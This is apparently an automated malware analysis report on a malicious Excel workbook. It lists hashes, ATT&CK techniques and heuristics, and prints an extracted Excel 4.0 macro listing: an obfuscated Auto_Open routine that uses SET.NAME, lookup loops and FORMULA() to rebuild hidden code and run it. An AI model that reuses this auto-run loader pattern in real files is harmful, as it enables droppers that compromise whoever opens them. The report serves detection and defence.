Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 62b37e0e89e436cd…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-25 10:37:21 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 5c50a50d23c6de347cc8e014ed07e1c5 SHA-1: a15bb56b390db3b4d0c17c68fe8de0347884c1db SHA-256: 62b37e0e89e436cdddca6df757d6ed7544e4125578d0bc7413996ff4a7fe2da4
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing Excel 4.0 macros, specifically an Auto_Open function. This function is known to be used for executing arbitrary code, often to download and run malicious payloads. The presence of dangerous formula APIs further indicates malicious intent. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6711 bytes
SHA-256: f32dc901d431b42478a390ed98b38b824274ff7742c44a5d041f0400a19048d3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GCKAFZDGwr
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H159 
' 0018     22 LABEL : Cell Value, String Constant - BIkzwMM len=0 
' 0018     24 LABEL : Cell Value, String Constant - CbifItpSF len=0 
' 0018     26 LABEL : Cell Value, String Constant - cJbQyiVZziG len=0 
' 0018     23 LABEL : Cell Value, String Constant - eBACJzma len=0 
' 0018     21 LABEL : Cell Value, String Constant - EPexOA len=0 
' 0018     23 LABEL : Cell Value, String Constant - FxAvusXc len=0 
' 0018     22 LABEL : Cell Value, String Constant - GwhkUKz len=0 
' 0018     27 LABEL : Cell Value, String Constant - hCTJJubOgXaF len=0 
' 0018     22 LABEL : Cell Value, String Constant - IceRTcP len=0 
' 0018     26 LABEL : Cell Value, String Constant - KkAyehmEank len=0 
' 0018     27 LABEL : Cell Value, String Constant - mIYdsALPSMgS len=0 
' 0018     21 LABEL : Cell Value, String Constant - mvarez len=0 
' 0018     21 LABEL : Cell Value, String Constant - Oaqsun len=0 
' 0018     24 LABEL : Cell Value, String Constant - odAXtkvDN len=0 
' 0018     24 LABEL : Cell Value, String Constant - qkjwTUyFn len=0 
' 0018     20 LABEL : Cell Value, String Constant - rhaOs len=0 
' 0018     21 LABEL : Cell Value, String Constant - SCAVqu len=0 
' 0018     26 LABEL : Cell Value, String Constant - SHfTqfXGhfa len=0 
' 0018     23 LABEL : Cell Value, String Constant - TDFPsHph len=0 
' 0018     22 LABEL : Cell Value, String Constant - yynjFVh len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GCKAFZDGwr,H69,"SET.NAME("odAXtkvDN",VALUE("0"))",""
'  GCKAFZDGwr,H72,"SET.NAME("SHfTqfXGhfa",odAXtkvDN)",""
'  GCKAFZDGwr,H77,"SET.NAME("mvarez",odAXtkvDN)",""
'  GCKAFZDGwr,H80,"SET.NAME("cJbQyiVZziG",COUNTA(eBACJzma))",""
'  GCKAFZDGwr,H82,"SET.NAME("EPexOA",COUNTA(yynjFVh))",""
'  GCKAFZDGwr,H87,[],""
'  GCKAFZDGwr,H91,"SET.NAME("Oaqsun","")",""
'  GCKAFZDGwr,H93,"SHfTqfXGhfa",""
'  GCKAFZDGwr,H98,"SET.NAME("CbifItpSF",HLOOKUP("*",eBACJzma,SHfTqfXGhfa,FALSE))",""
'  GCKAFZDGwr,H101,"mIYdsALPSMgS",""
'  GCKAFZDGwr,H105,"SET.NAME("TDFPsHph",odAXtkvDN)",""
'  GCKAFZDGwr,H110,[],""
'  GCKAFZDGwr,H114,"TDFPsHph",""
'  GCKAFZDGwr,H117,"FxAvusXc",""
'  GCKAFZDGwr,H120,"SCAVqu",""
'  GCKAFZDGwr,H125,"BIkzwMM",""
'  GCKAFZDGwr,H129,"SET.NAME("rhaOs",VALUE(HLOOKUP("*",yynjFVh,BIkzwMM,FALSE)))",""
'  GCKAFZDGwr,H134,"hCTJJubOgXaF",""
'  GCKAFZDGwr,H136,"Oaqsun",""
'  GCKAFZDGwr,H138,"mvarez",""
'  GCKAFZDGwr,H141,NEXT(),""
'  GCKAFZDGwr,H144,"GwhkUKz",""
'  GCKAFZDGwr,H146,"SET.NAME("f",INT(T(FORMULA(T(Oaqsun)&"",""&T(GwhkUKz)))))",""
'  GCKAFZDGwr,H150,"KkAyehmEank",""
'  GCKAFZDGwr,H153,NEXT(),""
'  GCKAFZDGwr,H155,RETURN(),""
'  GCKAFZDGwr,H187,"SET.NAME("qkjwTUyFn",H69)",""
'  GCKAFZDGwr,H189,"eBACJzma",""
'  GCKAFZDGwr,H194,"SET.NAME("yynjFVh",R67C15)",""
'  GCKAFZDGwr,H198,"SET.NAME("KkAyehmEank",205)",""
'  GCKAFZDGwr,H200,"SET.NAME("IceRTcP",8)",""
'  GCKAFZDGwr,H204,qkjwTUyFn(),""
'  GCKAFZDGwr,H205,HALT(),""

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